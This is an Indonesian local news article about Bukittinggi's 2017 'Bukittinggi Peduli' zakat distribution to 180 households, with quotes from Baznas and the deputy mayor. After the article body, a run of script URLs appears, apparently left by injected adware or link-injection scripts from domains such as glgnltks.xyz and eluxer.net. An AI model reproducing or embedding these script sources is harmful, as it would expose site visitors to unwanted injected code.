Ekonomi

180 Mustahiq di Kecamatan ABTB Terima Zakat dari Pemko Bukittinggi

HaloBukittinggi : Untuk membantu meringankan beban ekonomi masyarakat kurang mampu, Pemerintah Kota Bukittinggi bentuk program “Bukittinggi Peduli”, dalam bentuk pemberian zakat pada Mustahiq.

Seperti halnya yang dilaksanakan di Kantor Camat Aur Birugo Tigo Baleh, Selasa (6/6/2017), Pemko Bukittinggi bersama Badan Amil Zakat Nasional (Baznas), menyerahkan zakat pada 180 Mustahiq.

Ketua Baznas Bukittinggi Rahman Ritonga mengatakan, sejak Januari hingga April 2017, telah terkumpul zakat sebesar Rp 650 juta dari para muzakki yang berasal dari Aparatur Sipil Negara (ASN), perorangan dan sejumlah pengusaha.

“Untuk penyerahan zakat “Bukittinggi Peduli” di tahun 2017 ini dilakukan secara bertahap dimulai dari mustahiq yang ada di kecamatan ABTB dengan jumlah zakat sebesar Rp 72 juta,” ulasnya.

Para Mustahiq ini sambung Rahman Ritonga diberikan zakat sebesar Rp 400.000 per KK kepada 180 mustahiq dengan jumlah Rp 72 juta. Dari 180 KK itu terdiri dari, 15 KK dari Kelurahan Birugo, 37 KK dari Kelurahan Ladang Cakiah, 34 KK dari Kelurahan Pakan Labuah, 13 KK dari Kelurahan Sapiran, 20 KK dari Kelurahan Kubu Tanjuang, 29 KK dari Kelurahan Aur Kuning, 26 KK dari Kelurahan Parit Antang dan 6 KK dari Kelurahan Belakang Balok.

“Melalui penyaluran zakat ini, kita berharap zakat yang diterima hari ini menjadi berkah bagi muzakki dan bermanfaat bagi para mustahiq,” terangnya.

Pada kesempatan yang sama Wakil Wali Kota Bukittinggi, Irwandi, mengapresiasi upaya yang dilakukan Baznas dalam pengumpulan zakat dan berterima kasih kepada para muzakki yang telah menyalurkan zakatnya.

“Zakat yang diserahkan tentunya dapat bermanfaat bagi para mustahiq untuk hal-hal yang positif dan berguna bagi kehidupan mereka, setidaknya sudah memenuhi kebutuhan rumah tangga, namun jika bisa dipergunakan untuk usaha produktif alangkah lebih baik,” terangnya.

Irwandi juga mengimbau kepada Mustahiq untu dapat manfaatkan waktu secara maksimal dengan melakukan bercocok tanam walaupun dilahan yang sempit, bisa dimanfaatkan dalam bentuk polybag.

“Selain itu, keahlian menjahit dan bebarapa keterampilan lainnya juga bisa di pergunakan sebaik mungkin sehingga bisa membantu perekonomian dan merubah kehidupan masyarakat,” ujarnya. (Dipra)

 

https://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2449&ext=Advertisehttps://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2450&ext=Not%20sethttps://glgnltks.xyz/addons/lnkr5.min.jshttps://glgnltks.xyz/addons/lnkr30_nt.min.jshttps://eluxer.net/code?id=105&subid=51565_4460_https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51565_4460_&r=50https://glgnltks.xyz/ext/116c6de661dcbbd02f.js?sid=51565_4460_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a

Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Populer

Copyright © 2016 HaloBukittinggi

To Top